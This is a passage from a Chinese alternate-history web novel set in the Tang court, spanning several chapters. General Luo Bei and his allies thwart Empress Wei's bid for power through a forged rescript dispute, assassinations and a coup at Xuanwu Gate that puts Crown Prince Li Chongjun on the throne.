“我毕竟曾经在宫中为陛下制诰,熟悉陛下的手迹和诏书上的一切内容。”褚沅笑了:“所以我有资格说诏命是矫诏,是伪诏。可若是再多一个人,事情就会被动起来……说不定他们也会以同罪要求张御史同他们去御史台接受质询呢。” “去又如何?”张孝嵩气乐了,“那些手段我都知道,难道还能奈何得了我?” 洛北拍了拍他的肩膀:“孝嵩,别冲动,你忘了当初宋相公在御史台传召张昌宗时,你是怎么和我说的?” 张孝嵩一时犹豫:“你是说他们会在堂上用私刑直接把你我打死吗?他们疯了吗?” 张孝嵩好歹是榜眼出身的天子门生,宦海沉浮这些年,老师、同学、朋友不说遍布朝中,也足以给御史台找来不少麻烦。 洛北更不必说,他的亲兵旧将、故交亲朋遍布军中及宫中禁军,滥用私刑打死朝廷的大将军——除非执刑的御史连九族都不要了。 “事态尚不明朗,一切不要妄下论断,如果……”洛北没有继续说下去,他转向褚沅,声音已像在军中那样冷肃:“褚郡君,门外那些人便拜托你了。” “好。”褚沅向他二人一福,便转身离开了。 “洛北,这未免太……”张孝嵩还要再争辩什么,却见洛北抬起手止住张孝嵩要说的话。 他像在战场上那些,在冬风中侧耳听了一会儿,又示意张孝嵩闭眼感受。 “听到了吗?那是马蹄声,以这个声音判断,马上的军人应当着重甲,这是禁军来了。” 第209章 “事成之后,许我永镇西域。” “下雪了。” 再有几日便要封笔, 长安城中人心思定,到了半夜,往昔的喧嚣都沉寂下去, 显得马蹄声分外分明。褚沅披着一件厚重的斗篷守在门前, 望着自黑暗夜空里落下的大雪,声音轻弱悠远。 一辆马车自远及近地朝这边驶过来,马蹄声迅疾如雨。这马车大摇大摆地无视了街口的下马石,一路飞一样地往这里跑,到了府门也不停马, 只从马车后厢跳出一个人。 这人身上的衣裳似比褚沅身上的还厚,包得像个绒绒球似的,就地一滚了两滚, 才卸下力来。褚沅伸手把这人从地上捞起来,定睛一看,声音差点走了调: “珍娘?!宫中出事了?” “褚姐姐怎么在这里?!”曹珍娘擦了擦脸, 又伸手掸开身上的灰尘:“我有要事要说。我们, 我们进去说。” “我有要事要守在这里。”褚沅语气温和:“你进去,就说是我让你去找洛将军,他一定会见你的。” “褚姐姐,事关重大——”曹珍娘咬了咬牙:“马上长安城里就要乱起来了, 你怎么能在门口站着呢!” 褚沅望了她一眼,脸上依旧是一派温和的秋水:“我知道。”她轻轻地, 语气平静:“陛下驾崩了。对吗?” “褚姐姐!”曹珍娘张大了嘴巴,一个字也说不出来。 褚沅却不由得她犹豫,眼见大队人马即将赶到, 侧过身把她推到门后:“上官婕妤让你来告诉我的吧?她应当还打算写一份遗诏,让太子登基, 让皇后、太平与相王共同辅政——她这套打算是行不通的。” 曹珍娘脸上的惊讶一直没下去过:“褚…….” “长安城里的水太深了,这个局只能破,不能和。”褚沅道:“你进去吧,告诉洛将军这句话,他会明白我的意思。” 她招了招手,招来站在门廊上的年轻侍卫,低声以突厥话请他把曹珍娘送到后堂。那侍卫领命而去,门前就又留下褚沅一个人。 “圣上手敕!”有人高声叫喊,一路喊着,一路奔过来。 脚步声和马蹄声交错一片,来的人各个手拿火把,在暗沉的夜色中几成一道火龙。一双手高捧着明黄手敕的身影一路穿街过院,定在了褚沅身前。 “圣上手敕,召碎叶郡王、北庭大都护洛北入御史台听审。” 使者声音高昂,英俊的脸上是掩饰不住的喜色,见到褚沅时,喜色逐渐隐遁,成了不屑之色:“圣上手敕召洛北,褚郡君站在这里做什么?” 褚沅躬身向他道礼:“崔公安好。” 来者正是被贬官外任多年的前兵部侍郎崔湜。 “少在这里装样子了,褚沅。”崔湜捧着明黄手敕,口中说话也不客气了起来:“叫那个通敌叛国的罪人滚出来。” “洛将军不在府中。”褚沅上前一步:“还请崔公携圣上手敕入府稍候。” 在她身后,郡王府的正门豁然洞开,露出一面墨玉的照壁,照壁上是一只凌然向上的飞鹰。 崔湜方要下马,身边有个精干的果毅都尉慌忙提醒:“崔御史不要冒进,万一里面有埋伏……” “荒唐,天子脚下,岂容他如此为所欲为?”崔湜喝了一声,身体却停在半空,不敢再下。他本是博陵崔氏的美男子,行为举止都自有风度,这样半边甚至荡在半空,显得分外滑稽。 褚沅轻声道:“崔公若不入府也无妨,可否将手敕借我一观?我也好转告洛将军。” “你算什么东西?”崔湜傲然道:“也配看圣上的手敕?” 褚沅轻轻笑了:“既然如此,只有劳崔公多候了。”她转身便走,郡王府的大门开始缓缓关闭,发出吱呀的声响。 “褚沅,面对天使,拒不接诏。你知道这是什么罪名吗?这是谋反!” 要是被褚沅这样轻巧地混了过去,崔湜也就白白在外吃了那么多年土了。他挥了挥手,两边披坚执锐的禁军士兵立刻上前撑住府门,一时之间,铠甲撞击之声,齿轮转动之声两下僵持,谁也不肯让步。 褚沅道:“崔公,这谋反叛乱的帽子你们已往洛将军头上扣了第二回。陛下前日才要与洛将军同登泰山封禅,今日你便拿着一封明黄书卷来召他入御史台听审,还要百般搪塞不肯予人。崔湜!你手中这封,真的是陛下的手敕吗?!” “凭你一个从宫里被赶出来的女官,也敢当街斥问我?”崔湜神色一变,声音也提高了不少,“褚沅,我劝你不要给脸不要脸,快点让开!” 褚沅站在那里,一个字都没有再说。自她身后,走出了两排被坚执锐,手擎火把的士兵,前排的士兵手拿大盾和长矛,后排的士兵手执弓箭——这正是唐军面对骑兵冲阵时最常采用的锋矢阵。 这些人铠甲或许没有禁军的装饰华丽,但神情坚毅淡然,各个有一股视死如归之势。有几个禁军已经忍不住交头接耳起来:“这是边军吧?” “西域前线来的边军,恐怕都不是简单角色……” “禁军将士们。”褚沅高声道,“你们眼前的是在边境浴血奋战的同袍,是大唐的不败军神,你们真的要伙同眼前这个回长安不到十日的乱臣贼子杀死他们吗?” “你们真的要把鲜血流在这里,流在这无望的自相残杀之中?你们不会被当成英雄,只会遗臭万年!” 那果毅都尉眼看身后已经有些议论,忙开口弹压:“我们禁军但知听圣命行事,不知其他!” “倘若崔湜手中真的是伪手敕呢?”褚沅道。 “这……你口说无凭,再说,手敕出自宫中,怎会有误?” 褚沅冷笑一声:“是吗?我在宫中为陛下草诏多年,从未看过陛下用这五爪金龙暗纹的纸张写过手敕!” 崔湜下意识地朝手中一望,那明黄绢帛上的暗纹被火光一映,显得分外弄人。他开口反驳:“你信口雌黄!”声势已经弱了许多。 禁军的那果毅都尉已经察觉出一丝不对劲,但崔湜僵在那里,他也不好妄动。正在为难之际,又有三骑骏马向这边飞驰而来。 一骑是左羽林卫将军慕容曦光,一骑是魏元忠之子,太子冼马魏升。还有一人却是太平公主的儿子薛崇简。 “李仙凫!”慕容曦光高声道,“有军令,各禁军速速归营!” 崔湜几近咬牙切齿了:“我有圣上的手敕!” “伪造圣上手敕,罪同谋反!”魏升喝道,“崔御史,你才回朝不久吧?玩这样的勾当,你嫌自己的脖子太重了不成?!” 崔湜看看薛崇简、又看看魏升,一个绝望的想法不免在心中蔓延:太平公主已经亮了明牌,她是要帮助太子李重俊了。 怪不得上官婉儿给他这封手敕时神情怪异,怪不得只派了个果毅都尉随他前行,怪不得要半夜出发…… 这个一切都是设计好的,只等他这个蠢货往里钻。 上官婉儿……那个女人,在拿他的脑袋当投名状! “走!”慕容曦光抬手下令,带走了所有禁军,他们的身影尚未跑远,后面传来一声闷响。 崔湜睁着两眼,不甘地从马鞍上坠落下去,胸口插着一支带毒的袖箭。 褚沅缓缓地放下手,看着这位归朝不久的朝廷命官在雪中断了气,看着两位侍卫把他的尸首拉到一边。 “两位。”她转头向魏升和薛崇简各道一个万福,“洛将军已在府中久候了,请两位随我进去吧。” 听了魏升和薛崇简带来的消息,洛北一时没有说话。他不声不响,从一边桌上捞了一盏茶,放在唇边抿了两口,才轻声道:“陛下驾崩,既然太子和公主已经准备万全,何必再让我过问?” 魏升和薛崇简对视一眼,还是薛崇简开口道:“陛下忌惮太子,从未给他太多的权力——这一点,洛将军也是知道的。我母亲虽然豪富,又甚有权势,但在军中并无人手。刚刚褚郡君能靠洛将军的名字就吓退那些禁军,想来宫变当夜有洛将军在,我们一定会事半功倍。” 洛北看了他一眼,薛崇简继承了太平公主宽阔的额头和下颌,是张很方正的国字脸:“我有个条件。” “将军请讲。”魏升连忙追问。 有条件是个好事,有条件就说明这事儿能办。 “事成之后,许我永镇西域。”洛北道。 “这……为什么?!”魏升目瞪口呆——以洛北目前的战功,又加上从龙之功,那定是位极人臣,权倾朝野,他为什么不留在长安的安乐窝,反倒要去西域? 洛北挑眉看了他一眼,他金棕色的眼睛被夜晚的灯火映衬成一股流金般璀璨的颜色:“理由我自会向太子殿下解释。” “将军恕罪。”魏升恭敬道礼,“我立刻转告殿下。另外,殿下已经与公主谋划过了,三日之后,时辰极好,可以动手。” 送走这两人之后,洛北久久不言,他在窗边枯坐,待到风雪停下敲窗之声,才走出门去。 邻近天亮,天际之间是一股淡淡的粉紫色,地上已积了薄雪,他踩上雪地,走到院中,遥望天际。 金星正在缓缓行走,在突厥语中,金星是光明女神的象征,也是乌特二字的由来。 数年之前,他回到长安,满腔抱负,一身热血,拼着自己的身家性命不要,也想帮助当今的皇帝继承大统。 数年之后,他再度回到长安,服紫佩金,功封万户,命运又把同样的选择推到了他的眼前。 第210章 “还有,我没有在战争开始之前就喝庆功酒的习惯。” 内宫之中, 灯火通明,一个送信的使者穿过禁军重重围困的大殿,一路小跑, 来到处处帘幕低垂的内殿之前。 纱帐之中只坐着韦皇后一人的身影, 她一手撑着额头上,一手按着鼻梁,见到使者,才焦急地站起身:“怎么说?” “出事了,出大事了。”那使者半跪在地上, 脸上满是焦急之色,“崔湜去洛北府上时,被褚沅挡在了门外。她言之凿凿, 非说崔湜手中拿的是伪敕。那些禁军也信了她的说辞,正在两难之际,慕容曦光和魏升、薛崇简一道出面, 把那些禁军哄走了。” “那崔湜呢?”一个女子身影终于忍不住从帘后走到幕前, 烛火映得她娇美的脸上一片焦急,“他如何了?” 使者望了望上官婉儿难看的神色,心中暗暗发苦: “崔湜……死了。褚沅似乎在袖中装了袖箭,禁军们一走, 她就立刻把崔湜射死了。” “这个畜生!” 上官婉儿气得牙根发痒,几下咯咯作响。她一时觉得目眩神迷, 还是扶住一边的柱子才站稳了, “枉我为救她性命多番斡旋,如今竟害了崔郎性命!” “撕破脸了, 母后,怎么办?”安乐公主也坐不住, 从帘后出来,倚到韦后膝头上:“要不就派兵去,把他们都杀了吧!” “娘娘,万万不可。”上官婉儿收住眼泪,也走到韦后身前,“如今执掌左右羽林军的李多祚、阿史那献都不是咱们的人。禁军里咱们手上的力量太少了,贸然动手,把他们逼急了,狗急跳墙,在长安城里打起仗来,咱们不是对手啊。” “横头一刀,缩头也是一刀。”安乐公主瞪了上官婉儿一眼,“事情到了这个地步,还能让他们与我们谈和不成?不如趁他们还在联络的时候快刀斩乱麻,把这些人都送上西天!” “安乐!”韦皇后看了一眼自己的女儿,“这些市井的鬼话都是谁教你的,武延秀吗?” “母后!”安乐公主有些委屈地嘟了嘟嘴,“什么时候了,你还计较女儿这些言辞。我就是觉得咱们不能这么被动,得先下手为强。” 韦皇后沉吟片刻,目光如炬地望着上官婉儿:“婉儿,你说呢?” 上官婉儿轻轻叹了口气,道:“如今局势复杂,洛北等人既然已经撕破了脸,咱们也不能再退让。不过,直接派兵去杀恐怕不是明智之举。咱们可以先设法稳住局势,让韦家和武家的势力把整个长安团团围住,再慢慢寻找机会,把他们杀掉。” “稳住局势?”韦皇后微微皱眉,“他们已经把崔湜杀了,分明是奔着你死我活来的。还怎么稳住?” “褚沅等人虽然杀了崔湜,但他们的目的还是为了自保。”上官婉儿缓缓说道,“我们就广发诏书,说崔湜矫敕行事,罪不容诛。下令旌表褚沅的忠勇——” 她这半句话几乎是要咬着牙关说出来的: “同时,皇后应当以圣上重病先行监国,再以御史台指控虽不确实,但突厥新君嗣立,要求洛北回庭州戍守,以防突厥入侵。” 韦皇后这才反应过来:“不错,我们应当把他赶出长安!”她扼腕叹息一声,“早知如此,也不该派崔湜去杀他。” “母后,夜长梦多,这样的事情哪里是拖得的!”安乐公主又拽了拽韦皇后衣角,“您不要摄政了,就说圣上遗诏,让您登基为帝……那些大臣们起先不也反对武皇吗?可后来她们不照样对女皇俯首帖耳?” “公主,事情没有这样简单,事缓则圆,许多事情是急不得的。”上官婉儿忙道,“皇后若是仓促登基,太子未死,天下人怎么可能归心?若被太子和洛北一道逃出城去,且不说洛北在北庭还有数万兵马,各个身经百战……单说各地叛乱再起,生灵涂炭,后果不堪设想啊。” 韦皇后瞪了一眼安乐公主,让她把下句话咽在了肚子里:“婉儿,你说,接下去咱们该怎么做?” “皇后登台监国之后,便可以把朝中易起叛乱的大臣都扫除出去。或抓或流或外放,再提拔一批信得过的大臣,日后拥立,还要看他们呢。”上官婉儿道。 韦皇后沉吟片刻,一锤定音:“就按你说的办。婉儿,你来草诏,就说圣上病重,诏许皇后监国!” 上官婉儿得了命令,开始挥毫泼墨起来,不过半刻功夫,一封诏书便一气呵成。韦皇后起身转入寝殿,自匣中取出了传国玉玺。 她捧着传国玉玺疾步往寝殿外走去,晚风一吹,吹起四处低垂的幔帐,拍在了她的肩上。 “显,是你吗?”韦皇后快步走到龙榻之前,望着躺在床上早已没了生息的李显,“……你也知道自己去的太急太急,什么都没有留给我们母女吗?” “没事,显。”韦皇后长叹一口气,“我要的东西,我会自己去争到。” 她不再看那躺在病榻上的曾经的君王和丈夫,转身进入了一片明黄色的内殿之中。 毫无意外,命皇后监国的诏令一出,立刻在朝堂上引起了轩然大波。一众大臣谁也顾不上什么矫敕行事的崔湜,什么突然被旌表为虞国夫人的褚沅,纷纷伏地上奏,要求皇帝收回成命,以太子监国。 “今太子已过弱冠之年,仁德怀人,朝野皆知,太子既在,当以太子监国,何必皇后临朝摄政?” 韦皇后岿然不动,立马有她这派的大臣出列反驳:“太子年少,不知朝务,以嫡母辅佐,待其谙熟朝务,再行监国不迟。” “虽然太子年幼,但东宫僚佐、宗室诸王,政事堂诸位相公皆可辅佐,何必皇后垂帘?”说话之人正是太子冼马魏升,“还请奏报圣上,以太子监国为上。” 两边你来我往,吵得不可开交,最终还是韦皇后敲了敲把手,定住了局势:“好了,陛下诏书已下,既已成文,不容更改。诸位爱卿,不要再说了。” “皇后娘娘,既然昨日出了崔湜伪造手敕之事,微臣可否借此诏书一观?”郭元振自始至终未曾参与这场论战,听到韦皇后要一锤定音,赶紧出列质疑。 “婉儿。”韦皇后挥了挥手,示意上官婉儿把诏书捧给郭元振,“给他看看。” 郭元振看了一眼,硕大一枚国玺印章在上面鲜红得刺人眼球,他咽了口吐沫:“微臣执掌兵部,兵者,国家之大事,微臣有些机要消息,必须面呈陛下决断。” “郭相公,你是担心本宫会通敌叛国不成?”韦皇后冷笑一声,“好了,知道你挂心北边的局势,圣上已下了手敕,要在长安闲居的北庭大都护、碎叶郡王洛北速速前往庭州戍边,文书既下,不得停留。” 朝野中再度一片哗然,对朝局再迟钝的人也能感到,这道任命是皇后在排斥异己,但这道任命并不是一个结束,而是一个开始。 “以雍州长史杨再思功高,入朝辅政,诏命韦温为雍州长史。” “以吏部侍郎李峤代吏部尚书,拜为同中书门下三品。” “以侍中纪处讷兼任右卫将军,领禁军。” “起复流放岭南多年的宗楚客,拜为中书令。” …… “这些人虽然都是皇后的心腹,也做过宰相,但看她连宗楚客都被拉了出来,可见皇后手中也并无多少人可用。” 令人意外的是,身处漩涡之中的洛北并未在有带甲武士保卫的碎叶郡王府中,反倒在裴伷先家下辖的裴氏酒肆之中,望着窗外的一片萧瑟冬景。 “不过,宗楚客和你可是有死仇。”酒肆之中还立着个紫袍青年,他意态潇洒,半靠在围栏之上望着屋内,脸上一片笑意:“你不担忧?” “临淄王这话说得好没道理。”洛北将面前的茶盏斟满一盏,“要担忧,早在两个月前宗楚客潜回长安的时候就担忧了。” 临淄王李隆基闻言大为惊讶,他放下环抱着的双臂,上前半步:“他两个月前就回来了?” “是。”洛北轻轻点了点头,“皇后在陛下面前说尽了好话,宗楚客又以赠礼名义送给皇帝、皇后和安乐公主不少东西,这才换了一个重新面圣的机会。” “那陛下还没有用他……不对,这些事情当属机密中的机密,你是如何知道的?”李隆基问。 “第一个问题,因为当时陛下觉得比起宗楚客,我更有一些。第二个问题……恕我不能奉告。”洛北摊开双手,“我说此事,只是想告诉临淄王,合作可以,但你手上有什么筹码么?” 李隆基被他毫不客气的语气噎了个半晌,论宫中关系,太平公主在他这个宗室之上,论名正言顺,洛北是太子的东宫僚属,论军中关系…… 他看了一眼洛北,在心底默默叹了口气: 洛北和其父阿史那献都曾经执掌禁军,他这个会打猎、歌舞、打马球的宗室,怎么也不可能比得过大名鼎鼎的大唐军神。 “但有一点,你不如我。”李隆基似乎想起了什么,“韦后已经命其娘家兄弟严守宫禁,要想大摇大摆地号召禁军谋反,你还欠个皇城内的指挥部。” 洛北“哦”了一声:“临淄王有信得过的地方?” “禁苑总监钟绍京是我的拜把子兄弟。”李隆基这才坐到他面前,“我要的也不多,一个亲王爵位,还有,政变之后不牵连我们相王府的人,洛将军能答应否?” 洛北喝了一口茶水:“此事需要太子定夺。”他站起身,“不过,我愿意替临淄王传这个话。” “好,那就以这杯中酒作为我们的庆功酒。”李隆基喜不自胜,从桌上端起另外一只金杯,与洛北一碰,便一饮而尽。 他擦了擦唇边溢出来的茶水,才感到一股苦涩涌入喉咙之中:“这,这怎么是茶水啊?!” “做大事者,当有静气。”洛北语气平静,“还有,我没有在战争开始之前就喝庆功酒的习惯。” 210-220 第211章 历史再一次把决定大唐命运的责任落在了玄武门上。 次日, 韦后又下了数道诏书,以李多祚、李千里年长功高,赐以荣养, 以自己的娘家子弟韦跨、韦播, 以及亲信高嵩代之。 又以阿史那献为西突厥十姓可汗,责任重大,命其速返碎叶,节制西域各部。 这数道诏命一下,便是那些不关心朝政的人, 也能感到一场巨大的风暴正在长安城中卷起。 若说打压阿史那献和洛北是为了排除异己,那换掉在禁军中屹立数十年不倒的李多祚和李千里。这是毫无疑问地在为改朝换代做铺垫。 “你们这几日务必要待在禁军之中。”韦后再三叮嘱他们:“要把这些禁军都给我看住了,不能让他们轻举妄动。花天酒地, 过了这阵子什么时候都可以。” 三人皆唯唯诺诺地应下。韦播又问:“可那些禁军子弟,各个仗着自己家世好,有几分武功, 眼高于顶, 对我们几个一向不是很服气。姑妈,要是他们闹起来” “该打打,该杀杀。你在军中那么多年,学了那么多军令是用来做什么的?!”韦皇后喝道。 “是, 是。”见她生气,三人只得道了个礼退了下去。看着这三个不成气候的男人, 韦皇后忽而觉得疲累万分,她坐回榻上,问安乐公主道:“我叫延秀护送洛北离开长安, 他去了没有?” “母后。”安乐公主坐到韦皇后身边:“洛北自己执掌千军万马,还需要延秀护送吗?” 韦皇后瞪了一眼安乐公主, 她微微嘟着嘴唇,很有几分娇憨之色。韦皇后急急地喘了两口气: “别和我装傻,这样的事情也能拖得?是不是延秀不愿意去?!难道这样的事情,还要让我再下诏书吗?还有太平公主那里怎么样?” “母后不要生气,纵然洛北晚走一天也不会怎么样的。再说了,难道您还真的打算把他放回西域去?那才叫放虎归山呢。” 安乐公主道: “我倒觉得,咱们不妨就这样把他看管起来,到时候,一道圣旨赐死他得了。” 韦皇后深深叹了口气:“天下的事情要都像你说的那么容易就好了。赐死一个功勋卓著的边将谈何容易?他手上还有数万大军,数十万部族呢?当年的武三思怎么样?费尽心机不是也没整倒他?唉,罢了。太平那边,你看得严实一点,不要让这两个人搅到一起去。” “是,母后。”安乐公主替韦皇后锤了锤肩膀:“您放心,太平府上也就是最近那几个被赶出长安的官员去过。皇室成员私自结交边将可是大忌。她要是敢动,我就立刻派人把他们俩都收拾了。” 韦皇后静默不语,她望着镜子里的自己面容,这几日操劳之下,已经多了几根白发,但双目之中依旧熊熊燃着火——再过数日,只要韦温控制住雍州局势,她便可即刻登上那个至尊之位。 对于所有人来说,这一日都是分外漫长的。直到天色垂暮,长安城中大街上宵禁再起,才迎来一点平静。 离子时不到一个时辰了,长安城中街都静了几遍。皇城之中更是静得吓人,就在这样一片安静的黑夜之中,洛北登上了临湖殿破败的高台。 台下将士乌压压的一片,几近挤满了临湖殿前的这片空地。他往下望去,看到了自己的父亲阿史那献、看到了数年以来并肩作战的战友哥舒亶、看到了年轻的吐谷浑首领慕容曦光 火把映衬着他金棕色的眼眸如同烈日般耀眼,他轻轻吐了口气,抽出腰间那把唐刀。长刀出鞘,飞鹰凌空,他举起长刀,高声喊道: “众位将士!大唐不幸,皇纲失统,陛下龙御归天,皇后秘不发丧,意在改朝换代!我恐社稷沦丧,神器颓亡,意欲兴兵,拥立太子入宫。众将士,可愿随我同往?!” 台下一片欢呼之声,众人高喝道:“愿往!” “我等愿往!” “好,我们即刻入宫!” 自临湖殿向南不远,便是宫城北门——玄武门。 高祖武德九年六月初四的那个混乱、血腥的夜晚,大唐的命运就是在那里决定下来的。 现在,历史再一次把决定大唐命运的责任落在了玄武门上。 葛福顺等人所在的万骑军营就设立在这里,军人们白日或去宫城要地轮值、或去禁苑操练,晚上便回到玄武门内的大营中休息。洛北担任禁军首领时,也曾在这里居住过。 不过此时洛北面前的玄武门已经中门大开,李多祚、李千里簇拥着太子等在门前。在他们左右各有两个士兵挑着几个人头,他们紧紧闭着双眼,显然是在睡梦之中被杀的。 这几个人正是韦播等韦后的亲信。 “见过太子。”洛北知道太子已经控制住了玄武门中的万骑局势,低身向他道礼:“恕末将甲胄在身,不能全礼。” 李重俊提着缰绳的手也有些发白,但已经到了玄武门,他便没有退路:“国家到了这样的危亡关头,还在乎什么礼节呢?洛将军来得正好,众将士,随我一道入宫,匡扶大唐!” 众人率军一路疾驰,一路无人可挡。鼓噪声与马蹄声离内宫越来越近,很快就传入了守在宫中的上官婉儿耳边: “终于来了。” 她站起身,从床边的木匣里取出了那份明黄丝绢包裹着的遗诏。 作为一个执掌皇帝文书数十年的女宰辅,她已将她毕生的心血都投注其中——这是属于她上官婉儿的政治宣言。在之前的数年之间,她一直没有机会把它展露在众人之前。 “上官姑姑。”正在这时,一身青衣的褚沅出现在了殿前,面容严肃:“要迎立太子登基,现在还不是时候。” 上官婉儿瞪大眼睛,一是为了褚沅突然再度出现在宫内,二是为了这许久不曾听到的称呼: “上官姑姑”。褚沅上一次叫她“上官姑姑”是多久以前的事情了? “你怎么来了?”上官婉儿问,“你是怎么进来的?” 褚沅哪有时间和她分辨这些:“姑姑此时有两件事情要做,其一是马上赶到停放陛下尸首的殿中,留守在陛下遗体边,好等太子到来。” “你的意思”上官婉儿何等聪明,被褚沅这样一说,那颗被紧张、焦虑和胜利即将到来的兴奋冲昏了的头脑立刻清醒下来。 为了太子能顺理成章地继位,她此刻不应该做那个文采惊世的上官内相,而是应该做一个可怜的先帝妃嫔,只有这样,太子才能以孝悌之名,从她的手中接过遗诏: “我知道了,我马上就去。另外一件事情是什么?” 褚沅的那张芙蓉粉面上又露出一点笑容,这笑容并非是出自真心的笑意,而是过往她替女皇办事时才有的那种半是嘲讽半是冰冷的笑容:“杀人。” 她从袖中抽出一张丝绢:“我这里有几个人,有的是相王、临淄王安在宫中的钉子,有的是韦后的死忠派,趁着此夜混乱,我们应当把他们统统杀掉。” 上官婉儿神情一凛,她看着褚沅,好像自己并不认识这位后辈似的:“你要做得如此狠绝?” “如果先进宫的是相王的人,他们也会把我们统统杀掉。”褚沅声音平静:“上官姑姑放心,对付这些对手,我已经带人亲自动了手——这是我应有的敬意。” 上官婉儿脸色大变:“你真的会杀人?难道说……当时崔湜也是你亲手杀死的?我还以为这是韦皇后给你泼的脏水。” “是的。”褚沅颔首。 上官婉儿不可置信地看着她:“你已经动了手,还要来告诉我做什么?还是说,你想连我一起杀人灭口?” “我来告诉姑姑,是要请姑姑在等待太子到来的这段时间里好好想一想。”褚沅轻声道:“太子继位之后,宫中女官绝无可能再像之前那样为所欲为。您是女官魁首,理应制定一个制度——” “一个能保障女官永远拥有在内宫执笔制诰的权力的制度。” 上官婉儿先是一怔,很快又反应过来,她站起身,施施然向殿外走去。临行之前,她又回头看了一眼褚沅: “在西域这几年,你的长进实在是太大了。” 褚沅轻轻一笑,这一次,她眉眼弯弯,笑意盈盈,是真诚的、发自内心的笑容。 和上次宫变时一样,这次也有谙熟宫内道路的诸多宫人带路。李重俊等人一路前行,很快就到达了内殿之内,他俯首叩拜过李显的遗体,便从上官婉儿手中接过了那封遗诏。 随从太子入宫的宰相萧至忠接过遗诏,大声朗读起来: “惟天辅唐德,我祖宗克答天意。迈德勤道,绍休大业。朕以薄德,嗣守四海。今寝疾弥留,必以重器,付之元良。咨尔皇太子重俊,自天生德,孝友慈惠,温良肃恭。必能辑宁邦家,辉光绪业,是用命尔,即膺大位。” “夫天下至广,神器所重,丕承累圣之德,虔奉大中之道。尔有孝敬之志,可以奉宗庙;尔有广厚之量,可以奉神祗。和惠可能抚万邦,仁爱可以亲九族。任贤尚德,远佞去邪,尔惟钦承,无忝我祖宗之休烈。” 李重俊叩首在地,三呼万岁。最后一遍时,声音带着哭腔。他匍匐在地,哭得根本起不来身。 还是李千里和洛北一左一右地把他扶了起来:“陛下……” 李重俊擦了一把眼泪,才错愕地抬起头,望着这些大臣们:“你们……” 上官婉儿率先伏地行三跪九叩的大礼,在她身后,众臣皆跪地行礼: “陛下万岁。” “万岁。” “万万岁。” 第212章 “身为人臣,两度宫变,废立君主,你就不怕自己不得好死?” 瑞兽香炉中的香已经烧完了, 整个房间中弥散着一股失意的冷香。 太平公主走进屋子的时候,韦皇后正望着自己在镜子中的脸,见她走进来, 也不回头, 只盯着镜子道: “太平,你过来看看,我是不是老了,鬓边添了这许多白发。” 太平公主静默不语,径自走到她身边的床榻上坐下, 也随她一起望着镜子。 韦皇后是清晨时分被宫女们带到殿中来的。她一听说太子拥兵入宫,就知道宫中的禁军和万骑都已经靠不住,便与自己的两个心腹女官, 改换宫婢的衣裳,逃进了宫女们居住的野狐落中。 可是她运气不好,一入野狐落, 便撞上了两个被责罚过的宫女, 一下子就被认了出来。宫女们不知该如何处置这几个贵人,便把她们送回了上官婉儿的手上。 “如果我再年轻个三五岁,”韦皇后抚了抚自己鬓边的发髻,好让那些白发被遮进去:“你和重俊怎么会是我的对手?” 太平公主长长地叹息一声:“香儿, 你还没明白吗?只有重俊登基,你才能活下来。他是你的庶子, 也曾叫过你母亲的。” 韦皇后看了一眼她,忍不住笑了:“活着,像一只被囚禁的鸟那样活着?这样的日子我早在房州的时候就过够了。再说, 你们让我活着,又打算把秘不发丧, 密谋叛乱的帽子往谁头上扣?安乐吗?” 提到“安乐”二字,太平公主眼神微微黯淡,她不自觉地调了一下坐姿:“香儿,你对安乐太纵容了。要是你们夫妻能管束她一点,今天或许不会闹成这个样子。” “她死了,是不是?”韦皇后对太平公主的话充耳不闻,只自顾自地笑着,眼泪却从眼眶里流了下来:“到了这个时候,她怎么可能活着?” 太平公主再度沉默,按照她的计划,控制韦温、安乐府邸的应当是相王府的人。相王是安乐的王叔,又素来宅心仁厚,他带兵,有分寸,总会给他们留下转圜的余地。 可临淄王李隆基以“不愿惊扰父亲”为由,总揽了这个差事。他手下那些人冲入两家府邸,杀了个人头滚滚。安乐公主与武延秀也死于阵中。 她想了想,还是按耐心绪,以平静的声音道:“香儿,死者已矣。你不要再想了。重俊已经答应奉你为太后,善加供养。这对我们都会是个好结局。” “好结局?让我踩着自己女儿的血登上太后的位置,难道这是我想要的?”韦皇后惨笑一声:“太平,你不要劝了。事到如今,成王败寇,我输了。我应当失去一切——” 她说到这句话时,口中的鲜血喷涌而出,染红了太平公主身上的襦裙。太平公主吓得骤然起身,高声喊道:“来人,来人!” 守在门外的上官婉儿、褚沅和洛北一起冲了进来。洛北抢在众人之前,按了韦皇后的手腕,又对众人摇了摇头。 韦皇后迷离之中,感到一股手腕上的力道,睁眼望见洛北那双金棕色的眼睛,声音冰冷如淬毒:“洛北……身为人臣,两度宫变,废立君主,你就不怕自己不得好死?” 众人神情一凛,褚沅下意识地去看她兄长的脸,却见洛北神色平静,一如往常,见韦皇后无力地垂下头,甚至还伸手合上了韦皇后的眼睛。 天不亮,皇帝驾崩,太子登基的消息就传遍了整个长安城。李重俊当夜就命洛北知长安内外兵马事,兼雍州长史,并恢复阿史那献、李多祚和李千里的禁军将领之职。又命萧至忠担任中书令,总领政务,自己则为父亲李显居丧三日,以示孝悌。 萧至忠和洛北都在朝中、军中多年,很有声望,三日之内,长安城中就再度恢复了稳定和秩序。 景龙七年十二月二十,在一片安定之中,李重俊即位登基,改元隆熙。 他即位的首道诏令便是安抚百姓—— 他下令废除李显在时的一切苛捐杂税,停止正在修建的诸多佛寺、佛窟,并效仿太宗皇帝,开放定昆池等诸多皇家园林,允许百姓入内田猎、采食果物。 长安城的百姓终于迎来了一个崭新的清晨。但六部的官吏却陷入了一片惶恐之中。 李显时代,官职明码标价,只要有钱,不论是走宫中贵人的门路,还是拜宰相们的码头,便能得到一个官职,以至于官员的数量比官职还要多,其中有些衙门甚至人满为患,连个坐的地方都没有。 如今旦夕之间,韦皇后同安乐公主俱以谋逆大罪废为庶人,依附她们的杨再思、宗楚客等也皆罢黜流放,此等雷霆手段,惊得那些官员不知如何是好。 清晨时分,吏部衙门前已经挤满了前来询问的官员。衙门一开,顿时有无数官员涌入吏部,有的哭嚎捶胸,有的喋喋不休,挤得整个吏部衙门就像一锅开了的水。 张孝嵩穿着一件簇新的绯色官袍步入正堂,所见的便是这幅景象。他冷了声音,喝了一声:“都给我停住!” 张孝嵩久在军旅,自有一股不怒而威的气势。众人被他这样一喝,都住了声。 张孝嵩刚刚被皇帝李重俊从御史拔擢为吏部侍郎,并予参知政事职衔,入阁拜相,是不折不扣的朝中新贵。和他过不去,显然不是个明智的选择。 张孝嵩立在众人跟前,高声斥问道:“你们都是大唐的官员,应当知道朝中议事的规矩,这样混乱,是想被御史台弹劾吗?” 